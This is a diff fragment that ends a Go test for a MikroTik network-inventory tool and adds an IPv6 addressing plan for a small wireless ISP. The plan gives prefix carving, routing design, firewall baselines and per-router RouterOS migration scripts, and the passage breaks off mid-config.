{Addr: netip.MustParseAddr("10.254.254.253"), MAC: "64:D1:54:EF:AD:7D",
Identity: "Core", Platform: "MikroTik", Caps: "bridge,router"},
},
}
routerIPs := map[netip.Addr]bool{
netip.MustParseAddr("10.254.254.253"): true,
netip.MustParseAddr("10.254.254.104"): true,
}
switches := collectSwitches(d, routerIPs)
if len(switches) != 1 {
t.Fatalf("expected 1 switch, got %d: %+v", len(switches), switches)
}
if switches[0].Name != "Culleoka Switch" || switches[0].Model != "Netonix WS-26-400-AC" {
t.Errorf("unexpected switch: %+v", switches[0])
}
}
func TestRenderYAMLSampleShape(t *testing.T) {
s := loadSeed(t)
site := &outSite{
Name: "culleoka",
Router: "10.254.254.104",
MgmtSubnet: netip.MustParsePrefix("10.10.96.0/20"),
Cgnats: []cgnat{
{Subnet: netip.MustParsePrefix("100.64.24.0/22"), Gateway: netip.MustParseAddr("100.64.27.254")},
},
AccessPoints: []outRadio{
{IP: netip.MustParseAddr("10.10.111.1"), MAC: "78:45:58:A0:03:F3", Name: "Culleoka SW AC-1"},
},
BackhaulRadios: []outRadio{
{IP: netip.MustParseAddr("10.250.1.10"), MAC: "7A:8A:20:5F:49:7A",
Name: "Culleoka to Climax 11ghz", Link: "climax<->culleoka AF11 (disabled)"},
},
Switches: []outSwitch{
{IP: netip.MustParseAddr("100.64.27.250"), MAC: "EC:13:B2:A4:05:CA",
Name: "Culleoka Switch", Model: "Netonix WS-26-400-AC"},
},
}
body, err := renderYAML(s, []*outSite{site})
if err != nil {
t.Fatal(err)
}
got := string(body)
for _, want := range []string{
"sites:",
"culleoka:",
"router: 10.254.254.104",
"mgmt_subnet: 10.10.96.0/20",
"cgnat_subnet: {subnet: 100.64.24.0/22, gateway: 100.64.27.254}",
"access_points:",
`{ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}`,
"backhaul_radios:",
`link: "climax<->culleoka AF11 (disabled)"`,
"switches:",
`{ip: 100.64.27.250, mac: "EC:13:B2:A4:05:CA", name: "Culleoka Switch", model: "Netonix WS-26-400-AC"}`,
} {
if !strings.Contains(got, want) {
t.Errorf("rendered yaml missing %q\n--- output ---\n%s", want, got)
}
}
}

838
mikrotik-tool/ipv6.md Normal file
View file

@ -0,0 +1,838 @@
# IPv6 addressing plan — vntx WISP
**Status:** greenfield design. Any existing IPv6 on the routers (verona /40 PD
pool, climax/culleoka /52s, scattered point-to-point /128s, etc.) is to be
**deleted and replaced** with what's defined here. Don't try to migrate it.
**Allocation:** `2606:1c80::/32` (already advertised to TWC AS11427 from
`edge`, peer `2605:6000:0:8::f:372`).
**Customer prefix:** **`/56`** per PPPoE session via DHCPv6-PD. A /56 lets
customer CPE subnet into 256 /64s (LAN, guest, IoT, VPN, etc.) — the
operationally sane default that matches RIPE-690 / BCOP-690 guidance.
Customer CPE that only knows /64 still works fine — RouterOS hands out
the /56 and the CPE configures the first /64 from it. No NAT66.
---
## Top-level carve
`2606:1c80::/32` is sliced into two purposes:
| Block | Size | Purpose |
|-------------------------------|-------|--------------------------------------|
| `2606:1c80::/48` | /48 | **Infrastructure** — loopbacks, P2P, transit |
| `2606:1c80:1::/48` `2606:1c80:FFF::/48` | (reserved) | extra infra room |
| `2606:1c80:1000::/36` | /36 | **Tower allocations** — one **/44** per tower |
| `2606:1c80:2000::/36` and higher | bulk | reserved (future expansion) |
The tower block `2606:1c80:1000::/36` holds **256 /44s** (4 096 /44s
fits in a /32 minus the infra pad). At one /44 per tower, that's 256
towers worth of allocations — far more than you'll ever build.
Why /44 per tower? Each /44 = 16 /48s = **4 096 /56s**. Subtract one /48
for tower infra (mgmt, APs, etc.) and you have **3 840 /56 customers per
tower**, comfortably above the ~4 000-IP v4 CGNAT capacity per tower.
---
## Infrastructure block — `2606:1c80::/48`
Subdivided into /64s, indexed by purpose. Servers get the prime
all-zeros /64 so their addresses are as short as the allocation allows;
loopbacks and P2P links shift down to make room.
| Prefix | Use |
|-----------------------------------------|--------------------------------------------------|
| `2606:1c80::/64` | **Core servers** — DNS, NTP, monitoring, billing, internal services (static-only, no SLAAC). Lives at 380 (core); see below. |
| `2606:1c80:0:1::/64``:F::/64` | reserved server expansion (DMZ, hypervisor mgmt, alt server VLANs) |
| `2606:1c80:0:10::/64` | **Loopbacks** — one `/128` per router |
| `2606:1c80:0:11::/64``:1F::/64` | **Wired backbone P2P links** — one `/64` per link, addressed as `/127` |
| `2606:1c80:0:20::/64``:FF::/64` | **Wireless backhaul P2P links** — one `/64` per link, addressed as `/127` |
| `2606:1c80:0:1000::/64` | Edge↔TWC transit (already `2605:6000:…` upstream; this slot is for future v6 transit/IX) |
| `2606:1c80:0:1001::/64` | Edge↔Spectrum / secondary upstream |
| `2606:1c80:0:1002::/64` | Edge↔Preseem (shaper) |
| `2606:1c80:0:2000::/64``:2FFF::/64` | OOB / mgmt-VLAN-of-routers (one /64 per site, optional) |
| `2606:1c80:0:F000::/64` and up | reserved (future infra) |
### Servers — `2606:1c80::/64`
The single server LAN for the entire network, located at the **380**
site and hosted on the **edge** router (the server switch is plugged
into edge's `sfp-sfpplus8-server-switch` port, VLAN 9, same as the
existing v4 server LAN on `vlan9_sfpplus8`). Gateway:
**`2606:1c80::1/64`**. RA is **disabled** — servers get static
addresses, not SLAAC. Stateful DHCPv6 is optional; prefer static config
for server-class hosts.
Suggested numbering mirrors the v4 `204.110.191.X` last-octet so the
two are easy to translate by sight:
| v4 host | v6 host | Role |
|---------------------|----------------------|-------------------------|
| `204.110.191.20` | `2606:1c80::20` | DNS resolver (primary) |
| `204.110.191.240` | `2606:1c80::240` | DNS resolver (secondary) |
| `204.110.191.250` | `2606:1c80::250` | DNS resolver (tertiary) |
| `204.110.191.19` | `2606:1c80::19` | NTP |
`2606:1c80:0:1::/64` through `:F::/64` are reserved server expansion
slots (DMZ, hypervisor mgmt, alternate server VLANs) — populate them
only when there's a concrete need.
### Loopbacks (`2606:1c80:0:10::/64`)
One `/128` per router, all inside `2606:1c80:0:10::/64`. To keep the v6
loopback visually parallel to the v4 loopback (`10.254.254.X`), encode
the v4 last octet as the **last hextet, treated as hex** (so
`:10::101` is the v6 loopback for the router whose v4 loopback is
`10.254.254.101`). Visual mnemonic, not a numeric identity.
| Router | v4 loopback | v6 loopback |
|-----------|-----------------|--------------------------|
| verona | 10.254.254.101 | `2606:1c80:0:10::101/128` |
| climax | 10.254.254.102 | `2606:1c80:0:10::102/128` |
| culleoka | 10.254.254.104 | `2606:1c80:0:10::104/128` |
| newhope | 10.254.254.108 | `2606:1c80:0:10::108/128` |
| lowry | 10.254.254.109 | `2606:1c80:0:10::109/128` |
| 982 | 10.254.254.110 | `2606:1c80:0:10::110/128` |
| 494 | 10.254.254.111 | `2606:1c80:0:10::111/128` |
| core | 10.254.254.253 | `2606:1c80:0:10::253/128` |
| edge | 10.254.254.254 | `2606:1c80:0:10::254/128` |
Loopbacks announce into OSPFv3 only.
### Inter-router P2P links (`2606:1c80:0:11::/64``:FF::/64`)
One `/64` per physical/logical link, addressed as `/127` between the two
ends. Numbering follows the existing v4 `/29` transport scheme.
Wired/fiber transport uses `:11::``:1F::`; wireless backhaul uses
`:20::`+. (`:10::/64` is the loopback /64.)
| Link | v4 /29 | v6 /64 | Endpoints (`/127`) |
|----------------------------|---------------------|-------------------------|---------------------------------------------|
| edge ↔ core (sfpplus7) | 204.110.191.180/30 | `2606:1c80:0:11::/64` | `…:11::1` edge / `…:11::2` core |
| core ↔ climax (ether5) | 10.250.1.88/29 | `2606:1c80:0:12::/64` | `…:12::1` core / `…:12::2` climax |
| core ↔ newhope (ether4) | 10.250.1.56/29 | `2606:1c80:0:13::/64` | `…:13::1` core / `…:13::2` newhope |
| core ↔ 982 (ether1) | 10.250.1.32/29 | `2606:1c80:0:14::/64` | `…:14::1` core / `…:14::2` 982 |
| core ↔ culleoka (ether6) | 10.250.1.48/29 | `2606:1c80:0:15::/64` | `…:15::1` core / `…:15::2` culleoka |
| verona ↔ climax (11 GHz) | (existing v6 in use)| `2606:1c80:0:20::/64` | `…:20::1` verona / `…:20::2` climax |
| climax ↔ culleoka (11 GHz) | — | `2606:1c80:0:21::/64` | `…:21::1` climax / `…:21::2` culleoka |
| climax ↔ 494 (ether5) | 10.250.1.64/29 | `2606:1c80:0:17::/64` | `…:17::1` climax / `…:17::2` 494 |
| newhope ↔ lowry (ether6) | 10.250.1.104/29 | `2606:1c80:0:18::/64` | `…:18::1` newhope / `…:18::2` lowry |
Pick the next free `:NN::/64` (wired in `:11::``:1F::`, wireless in
`:20::`+) when adding a link; record it here.
The existing `2606:1c80:0:1010::/64` and `2606:1c80:0:0010::/64` get
**deleted** and replaced with `:20::` and `:21::` respectively (note
that the new `:10::/64` slot is now the loopback /64, not a P2P link).
---
## Tower block — `2606:1c80:1000::/36`
One **`/44`** per tower. The third hextet of the /44 encodes the v4
mgmt /20's third octet as `1<oct-hex>0`, so you can map between v4 and
v6 by sight:
| Tower | v4 mgmt | v4 third oct (hex) | v6 /44 | Inverse mnemonic |
|------------|------------------|--------------------|-------------------------|------------------|
| verona | 10.10.0.0/20 | 0 (`0x00`) | `2606:1c80:1000::/44` | `100` |
| climax | 10.10.16.0/20 | 16 (`0x10`) | `2606:1c80:1100::/44` | `110` |
| 982 | 10.10.48.0/20 | 48 (`0x30`) | `2606:1c80:1300::/44` | `130` |
| core (380) | 10.10.64.0/20 | 64 (`0x40`) | `2606:1c80:1400::/44` | `140` |
| altoga | 10.10.80.0/20 | 80 (`0x50`) | `2606:1c80:1500::/44` | `150` |
| culleoka | 10.10.96.0/20 | 96 (`0x60`) | `2606:1c80:1600::/44` | `160` |
| newhope | 10.10.128.0/20 | 128 (`0x80`) | `2606:1c80:1800::/44` | `180` |
| lowry | 10.10.144.0/20 | 144 (`0x90`) | `2606:1c80:1900::/44` | `190` |
| 494 | 10.10.160.0/20 | 160 (`0xA0`) | `2606:1c80:1A00::/44` | `1A0` |
Slots not in the table (`2606:1c80:1010::/44`, `:1020::/44`, `:1200::/44`,
…) are **reserved**. New tower at `10.10.176.0/20` (`0xB0`) takes
`2606:1c80:1B00::/44`. Don't reuse out of band.
Altoga is logical-satellite of verona but gets its own /44 — it serves
its own customer base off `ether6-switch` on the verona router and the
v4 plan already treats it as independent. Easier to operate as a peer.
### Per-tower /44 layout
Each /44 = 16 /48s. The first /48 is tower infra; the other 15 carry
customer /56s.
| Sub-prefix | Use |
|-------------------------------------------|---------------------------------------------------------|
| `2606:1c80:NNN0::/48` | **Tower infrastructure** |
| ↳ `2606:1c80:NNN0::/64` | Router-side mgmt LAN (RA + DHCPv6 stateless) |
| ↳ `2606:1c80:NNN0:F::/64` | Access points (mirrors v4 top-`/24`-of-`/20` rule) |
| ↳ `2606:1c80:NNN0:1::/64``:E::/64` | reserved (extra VLANs, IoT, voice, monitoring) |
| ↳ `2606:1c80:NNN0:10::/64``:FF::/64` | reserved (sub-tower/repeater /64s) |
| `2606:1c80:NNN1::/48` | **Customer PD pool slot 1** — 256 × /56 |
| `2606:1c80:NNN2::/48` | Customer PD pool slot 2 — instantiate when 1 fills |
| `2606:1c80:NNN3::/48``2606:1c80:NNNF::/48` | Customer pool slots 315 (instantiate as needed) |
Servers are **not** allocated per-tower — there's a single dedicated
core-servers /64 in the infrastructure block (see below). Towers don't
host server-class hosts.
Customer capacity per tower: **15 × 256 = 3 840 /56s**.
The router itself uses `2606:1c80:NNN0::1/64` on the mgmt LAN (mirrors
the v4 `.X.254` gateway convention but moved to `::1` for v6 since
`::1` is what humans type). APs autoconfig EUI-64 inside `:NNN0:F::/64`;
when you need a known address, use `:F::1``:F::FF`.
**Operational note on pool growth.** Start each tower with one customer
pool (`:NNN1::/48`, prefix-length=56 → 256 /56s). When the pool drops
below ~30 free /56s, add the next one (`:NNN2::/48` → next 256 /56s) as
a second pool and assign it to the same PPP profile. RouterOS will draw
from any pool the profile references. Each pool drop is a `/ipv6 pool
add` — no PPPoE disruption.
---
## Routing
### IGP — OSPFv3
Edge already runs OSPFv3 in area `backbone`. Every router gets:
```rsc
/routing ospf-v3 instance
add name=default-v3 router-id=<v4-loopback> redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=<each-transit-interface> network-type=point-to-point
```
Loopbacks and connected /64s redistribute as type-1. Customer PD
allocations do **not** redistribute into OSPF — they're on-link via the
PPPoE interface, and edge/core learn aggregates via iBGP.
### iBGP — `/44` aggregates → edge
Each tower router peers iBGP with `edge` (and optionally `core` as a
route-reflector if you want to scale; today direct works fine) over its
loopback. Peer config on every tower:
```rsc
/routing bgp instance
set default as=<your-ASN> router-id=<v4-loopback>
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:NNN0::/44 synchronize=no
```
Edge already has `2606:1c80::/32` in its `/routing bgp network`, which
covers all towers — that aggregate goes upstream to TWC. The per-tower
`/44`s announced over iBGP are for **internal** longest-match so traffic
returning into the network can find the right tower without flooding the
default through the IGP.
(If iBGP feels overkill, OSPFv3 redistribution of the per-tower /44
works too. iBGP scales better and matches your v4 structure.)
### Customer PD — DHCPv6-PD on PPPoE (/56 per session)
On each tower router:
```rsc
/ipv6 pool
add name=<tower>-cust-pd-1 prefix=2606:1c80:NNN1::/48 prefix-length=56
/ppp profile
set [find name=<pppoe-profile>] \
remote-ipv6-prefix-pool=<tower>-cust-pd-1 \
dhcpv6-pd-pool=<tower>-cust-pd-1
/ipv6 dhcp-server
add name=<tower>-pd interface=<tower-bridge> \
address-pool=<tower>-cust-pd-1
```
Each PPPoE session gets a single `/56` from the pool, delegated via
DHCPv6-PD. CPE configures `/64`s out of it on its LANs.
### Mgmt-LAN / wired customers (no PPPoE)
For the wired mgmt LAN at each tower (`2606:1c80:NNN0::/64`), use
SLAAC + RDNSS:
```rsc
/ipv6 address
add address=2606:1c80:NNN0::1/64 interface=<mgmt-bridge> advertise=yes
/ipv6 nd
add interface=<mgmt-bridge> ra-interval=3m20s-10m \
other-configuration=yes managed-address-configuration=no
/ipv6 nd prefix
add interface=<mgmt-bridge> prefix=2606:1c80:NNN0::/64 \
autonomous=yes on-link=yes
/ipv6 dhcp-server
add interface=<mgmt-bridge> name=<tower>-mgmt-stateless \
address-pool=none
```
DNS via RDNSS pointing at v6 resolvers (the v6 equivalents of
`204.110.191.240` and `.20`); configure those on the resolver hosts when
you v6-enable them.
---
## Firewall (every router)
Mirror your v4 input chain. Minimum:
```rsc
/ipv6 firewall filter
add chain=input action=accept connection-state=established,related
add chain=input action=accept protocol=icmpv6
add chain=input action=accept src-address=fe80::/10
add chain=input action=accept src-address=2606:1c80::/32 ;; internal
add chain=input action=drop
add chain=forward action=accept connection-state=established,related
add chain=forward action=accept protocol=icmpv6 hop-limit=equal:1 ;; PMTUD
add chain=forward action=accept protocol=icmpv6
add chain=forward action=accept src-address=2606:1c80::/32 \
dst-address=2606:1c80::/32
add chain=forward action=accept in-interface-list=customer ;; v6 outbound
add chain=forward action=drop
```
Edge keeps its existing inbound BGP rules. Do **not** NAT v6 — every
prefix is GUA from your /32.
---
## DNS
- Forward DNS for `2606:1c80::/32`: AAAA records under `vntx.net` for
router loopbacks (`verona-loopback.vntx.net AAAA 2606:1c80::101`,
etc.) and customer PTR delegations.
- Reverse DNS: request a `1.c.8.1.6.0.6.2.ip6.arpa` delegation from
ARIN matching the /32. Then run a v6 PTR generator (mirror the v4
side).
---
## Migration notes
This is a greenfield plan but the routers have *some* v6 already:
- Delete on every router before applying:
`/ipv6 address remove [find]`,
`/ipv6 pool remove [find]`,
`/ipv6 dhcp-server remove [find]`,
`/ipv6 nd remove [find !default]`.
- Keep edge's `/routing bgp network add 2606:1c80::/32 synchronize=no`
and its TWC v6 peer.
- Keep edge's `/ipv6 firewall filter` rules — extend per the template,
don't replace.
Apply tower-by-tower in the same order as the CGNAT renumber sequence
(see `subnets.md`) so you're not running two transitions in parallel.
---
## Per-router config skeletons
### edge (loopback `:10::254`, hosts the global server /64)
```rsc
/ipv6 address
add address=2606:1c80:0:10::254/128 interface=lo advertise=no
add address=2606:1c80:0:11::1/127 interface=sfp-sfpplus7-core-direct
add address=2606:1c80:0:1002::1/64 interface=sfp-sfpplus11-preseem
add address=2606:1c80::1/64 interface=vlan9_sfpplus8 ;; server LAN
;; existing TWC peering address lives outside our /32 — leave it
;; suppress RA on the servers /64 — static-only, no SLAAC
/ipv6 nd
add interface=vlan9_sfpplus8 disabled=no advertise=no \
managed-address-configuration=no other-configuration=no
/routing bgp network
add network=2606:1c80::/64 synchronize=no ;; server LAN, advertised from edge
;; existing add network=2606:1c80::/32 stays — the upstream-facing aggregate
```
### core (loopback `:10::253`, tower /44 `1400::/44`)
```rsc
/ipv6 address
add address=2606:1c80:0:10::253/128 interface=lo advertise=no
add address=2606:1c80:0:11::2/127 interface=ether3-edge-direct
add address=2606:1c80:0:12::1/127 interface=ether5-climax
add address=2606:1c80:0:13::1/127 interface=ether4-newhope
add address=2606:1c80:0:14::1/127 interface=ether1-982-60ghz
add address=2606:1c80:0:15::1/127 interface=ether6-culleoka-11ghz
add address=2606:1c80:1400::1/64 interface=vlan10_combo1 ;; 380 mgmt LAN
/ipv6 pool
add name=core-cust-pd-1 prefix=2606:1c80:1401::/48 prefix-length=56
/routing bgp network
add network=2606:1c80:1400::/44 synchronize=no
```
### verona (loopback `:10::101`, towers verona `1000::/44` + altoga `1500::/44`)
```rsc
/ipv6 address
add address=2606:1c80:0:10::101/128 interface=lo advertise=no
add address=2606:1c80:0:20::1/127 interface=ether3-climax-11ghz
add address=2606:1c80:1000::1/64 interface=verona ;; verona mgmt LAN
add address=2606:1c80:1500::1/64 interface=ether6-switch ;; altoga mgmt LAN
/ipv6 pool
add name=verona-cust-pd-1 prefix=2606:1c80:1001::/48 prefix-length=56
add name=altoga-cust-pd-1 prefix=2606:1c80:1501::/48 prefix-length=56
/ppp profile
set [find name=pppoe-verona] remote-ipv6-prefix-pool=verona-cust-pd-1 \
dhcpv6-pd-pool=verona-cust-pd-1
set [find name=pppoe-altoga] remote-ipv6-prefix-pool=altoga-cust-pd-1 \
dhcpv6-pd-pool=altoga-cust-pd-1
/routing bgp network
add network=2606:1c80:1000::/44 synchronize=no
add network=2606:1c80:1500::/44 synchronize=no
```
### climax (loopback `:10::102`, /44 `1100::/44`)
```rsc
/ipv6 address
add address=2606:1c80:0:10::102/128 interface=lo advertise=no
add address=2606:1c80:0:20::2/127 interface=ether6-verona-11ghz
add address=2606:1c80:0:21::1/127 interface=<climax-culleoka-11ghz>
add address=2606:1c80:0:12::2/127 interface=<climax-core-link>
add address=2606:1c80:1100::1/64 interface=climax-bridge
/ipv6 pool
add name=climax-cust-pd-1 prefix=2606:1c80:1101::/48 prefix-length=56
/routing bgp network
add network=2606:1c80:1100::/44 synchronize=no
```
### Other towers
Same template — substitute loopback, /44, interface names from each
router's `.rsc`, and the matching P2P /127:
| Router | Loopback | /44 | First customer pool prefix | Mgmt LAN /64 |
|-----------|-----------------------|----------------------|----------------------------|------------------------|
| culleoka | `2606:1c80:0:10::104` | `2606:1c80:1600::/44`| `2606:1c80:1601::/48` | `2606:1c80:1600::1/64` |
| newhope | `2606:1c80:0:10::108` | `2606:1c80:1800::/44`| `2606:1c80:1801::/48` | `2606:1c80:1800::1/64` |
| lowry | `2606:1c80:0:10::109` | `2606:1c80:1900::/44`| `2606:1c80:1901::/48` | `2606:1c80:1900::1/64` |
| 982 | `2606:1c80:0:10::110` | `2606:1c80:1300::/44`| `2606:1c80:1301::/48` | `2606:1c80:1300::1/64` |
| 494 | `2606:1c80:0:10::111` | `2606:1c80:1A00::/44`| `2606:1c80:1A01::/48` | `2606:1c80:1A00::1/64` |
---
## Verification checklist (per router, post-apply)
```rsc
:put [/ipv6 address print]
:put [/ipv6 route print where active]
:put [/routing ospf-v3 neighbor print]
:put [/routing bgp peer print where remote-address~"2606:1c80"]
/ping 2606:1c80:0:10::254 count=3 src-address=2606:1c80:0:10::<self-last-hextet>
/ping 2606:4700:4700::1111 count=3 ;; Cloudflare, end-to-end
```
End-to-end CPE test: connect a known PPPoE customer, verify a `/56` is
delegated, verify SLAAC inside the first `/64` of that /56 reaches
`2606:4700:4700::1111`.
---
## Allocation registry (keep this updated)
| Prefix | Tower / purpose | First allocated | Notes |
|-------------------------|-----------------|-----------------|-----------------------------|
| `2606:1c80::/64` | core servers | 2026-05-08 | global server LAN at 380 — static only, no RA |
| `2606:1c80::/48` | infra | 2026-05-08 | servers/loopbacks/P2P/transit |
| `2606:1c80:0:10::/64` | router loopbacks | 2026-05-08 | one /128 per router |
| `2606:1c80:1000::/44` | verona | 2026-05-08 | 3 840 /56 customer capacity |
| `2606:1c80:1100::/44` | climax | 2026-05-08 | |
| `2606:1c80:1300::/44` | 982 | 2026-05-08 | |
| `2606:1c80:1400::/44` | core (380) | 2026-05-08 | |
| `2606:1c80:1500::/44` | altoga | 2026-05-08 | served from verona router |
| `2606:1c80:1600::/44` | culleoka | 2026-05-08 | |
| `2606:1c80:1800::/44` | newhope | 2026-05-08 | |
| `2606:1c80:1900::/44` | lowry | 2026-05-08 | |
| `2606:1c80:1A00::/44` | 494 | 2026-05-08 | |
---
## Per-router migration commands
Two phases per router: **WIPE** (remove all stale internal v6 config —
loopbacks, transit, tower LANs, OSPFv3, internal iBGP, customer pools)
then **APPLY** (configure exactly per the plan above). External eBGP
peerings (Charter/Spectrum, both v4 and v6) and the existing
`2606:1c80::/32` aggregate on edge are preserved by filtering the wipe
commands on `name=` and `network=`. **The v4 control plane is never
touched.**
Apply order: **edge → core → verona → climax → 494 → 982 → culleoka →
newhope → lowry**. Altoga sits on the verona router so it gets
configured during verona's APPLY. Bring up edge first so the iBGP
target loopback exists when each tower comes online.
### WIPE (run on every router; same script everywhere)
```rsc
# ---- v6 wipe — removes everything internal, leaves external peerings alone
/ipv6 address remove [find !dynamic]
/ipv6 nd prefix remove [find]
/ipv6 nd remove [find !default]
/ipv6 dhcp-server remove [find]
/ipv6 dhcp-server option remove [find]
/ipv6 dhcp-client remove [find]
/ipv6 pool remove [find]
/ipv6 route remove [find !dynamic]
/ipv6 firewall filter remove [find]
/ipv6 firewall mangle remove [find]
/ipv6 firewall raw remove [find]
/ppp profile set [find] remote-ipv6-prefix-pool="" dhcpv6-pd-pool=""
/routing ospf-v3 interface remove [find]
/routing ospf-v3 instance remove [find]
# internal iBGP only — leave external eBGP peers (twc, twc-v6) alone
/routing bgp peer remove [find name~"ibgp" and address-families~"ipv6"]
# v6 BGP networks — leave the upstream-facing 2606:1c80::/32 aggregate
/routing bgp network remove [find network~":" and network!="2606:1c80::/32"]
```
### Common firewall + IGP baseline (run on every router AFTER its WIPE)
```rsc
# ---- v6 firewall: input + forward minimum, mirrors v4 hygiene
/ipv6 firewall filter
add chain=input action=accept connection-state=established,related
add chain=input action=accept protocol=icmpv6
add chain=input action=accept src-address=fe80::/10
add chain=input action=accept src-address=2606:1c80::/32 comment="internal"
add chain=input action=drop comment="default deny"
add chain=forward action=accept connection-state=established,related
add chain=forward action=accept protocol=icmpv6 hop-limit=equal:1 comment="PMTUD"
add chain=forward action=accept protocol=icmpv6
add chain=forward action=accept src-address=2606:1c80::/32 dst-address=2606:1c80::/32
add chain=forward action=accept in-interface-list=customer comment="v6 outbound"
add chain=forward action=drop comment="default deny"
# ---- OSPFv3 (router-id = v4 loopback)
/routing ospf-v3 instance
add name=default-v3 router-id=<v4-loopback> redistribute-connected=as-type-1
# OSPFv3 interfaces are added per-router in each APPLY block below
```
### edge — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::254/128 interface=lo advertise=no
add address=2606:1c80:0:11::1/127 interface=sfp-sfpplus7-core-direct
add address=2606:1c80:0:1002::1/64 interface=sfp-sfpplus11-preseem
add address=2606:1c80::1/64 interface=vlan9_sfpplus8 ;; server LAN
/ipv6 nd
add interface=vlan9_sfpplus8 disabled=no advertise=no \
managed-address-configuration=no other-configuration=no
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.254 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=sfp-sfpplus7-core-direct network-type=point-to-point
# eBGP TWC v6 peer is preserved by the wipe — do NOT re-add it here.
# /routing bgp network keeps the existing 2606:1c80::/32. Add the server /64:
/routing bgp network
add network=2606:1c80::/64 synchronize=no comment="server LAN, originated by edge"
```
### core — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::253/128 interface=lo advertise=no
add address=2606:1c80:0:11::2/127 interface=ether3-edge-direct
add address=2606:1c80:0:12::1/127 interface=ether5-climax
add address=2606:1c80:0:13::1/127 interface=ether4-newhope
add address=2606:1c80:0:14::1/127 interface=ether1-982-60ghz
add address=2606:1c80:0:15::1/127 interface=ether6-culleoka-11ghz
add address=2606:1c80:1400::1/64 interface=vlan10_combo1 ;; 380 mgmt LAN
/ipv6 pool
add name=core-cust-pd-1 prefix=2606:1c80:1401::/48 prefix-length=56
/ppp profile
set [find name=380] remote-ipv6-prefix-pool=core-cust-pd-1 \
dhcpv6-pd-pool=core-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.253 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether3-edge-direct network-type=point-to-point
add area=backbone interface=ether5-climax network-type=point-to-point
add area=backbone interface=ether4-newhope network-type=point-to-point
add area=backbone interface=ether1-982-60ghz network-type=point-to-point
add area=backbone interface=ether6-culleoka-11ghz network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1400::/44 synchronize=no
```
### verona — APPLY (also configures altoga)
```rsc
/ipv6 address
add address=2606:1c80:0:10::101/128 interface=lo advertise=no
add address=2606:1c80:0:20::1/127 interface=ether3-climax-11ghz
add address=2606:1c80:1000::1/64 interface=verona ;; verona mgmt LAN
add address=2606:1c80:1500::1/64 interface=ether6-switch ;; altoga mgmt LAN
/ipv6 pool
add name=verona-cust-pd-1 prefix=2606:1c80:1001::/48 prefix-length=56
add name=altoga-cust-pd-1 prefix=2606:1c80:1501::/48 prefix-length=56
/ppp profile
set [find name=pppoe-verona] remote-ipv6-prefix-pool=verona-cust-pd-1 \
dhcpv6-pd-pool=verona-cust-pd-1
set [find name=pppoe-altoga] remote-ipv6-prefix-pool=altoga-cust-pd-1 \
dhcpv6-pd-pool=altoga-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.101 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether3-climax-11ghz network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1000::/44 synchronize=no
add network=2606:1c80:1500::/44 synchronize=no
```
### climax — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::102/128 interface=lo advertise=no
add address=2606:1c80:0:12::2/127 interface=ether4-380-airfiber24
add address=2606:1c80:0:17::1/127 interface=ether5-494
add address=2606:1c80:0:20::2/127 interface=ether6-verona-11ghz
add address=2606:1c80:0:21::1/127 interface=ether3-culleoka-11ghz
add address=2606:1c80:1100::1/64 interface=climax-bridge
/ipv6 pool
add name=climax-cust-pd-1 prefix=2606:1c80:1101::/48 prefix-length=56
/ppp profile
set [find name=pppoe] remote-ipv6-prefix-pool=climax-cust-pd-1 \
dhcpv6-pd-pool=climax-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.102 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether4-380-airfiber24 network-type=point-to-point
add area=backbone interface=ether5-494 network-type=point-to-point
add area=backbone interface=ether6-verona-11ghz network-type=point-to-point
add area=backbone interface=ether3-culleoka-11ghz network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1100::/44 synchronize=no
```
### 494 — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::111/128 interface=lo advertise=no
add address=2606:1c80:0:17::2/127 interface=ether2-climax
add address=2606:1c80:1A00::1/64 interface=494 ;; 494 mgmt LAN
/ipv6 pool
add name=494-cust-pd-1 prefix=2606:1c80:1A01::/48 prefix-length=56
/ppp profile
set [find name=pppoe] remote-ipv6-prefix-pool=494-cust-pd-1 \
dhcpv6-pd-pool=494-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.111 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether2-climax network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1A00::/44 synchronize=no
```
### 982 — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::110/128 interface=lo advertise=no
add address=2606:1c80:0:14::2/127 interface=ether7-380
add address=2606:1c80:1300::1/64 interface=982 ;; 982 mgmt LAN
/ipv6 pool
add name=982-cust-pd-1 prefix=2606:1c80:1301::/48 prefix-length=56
/ppp profile
set [find name=pppoe] remote-ipv6-prefix-pool=982-cust-pd-1 \
dhcpv6-pd-pool=982-cust-pd-1
/routing ospf-v3 instance
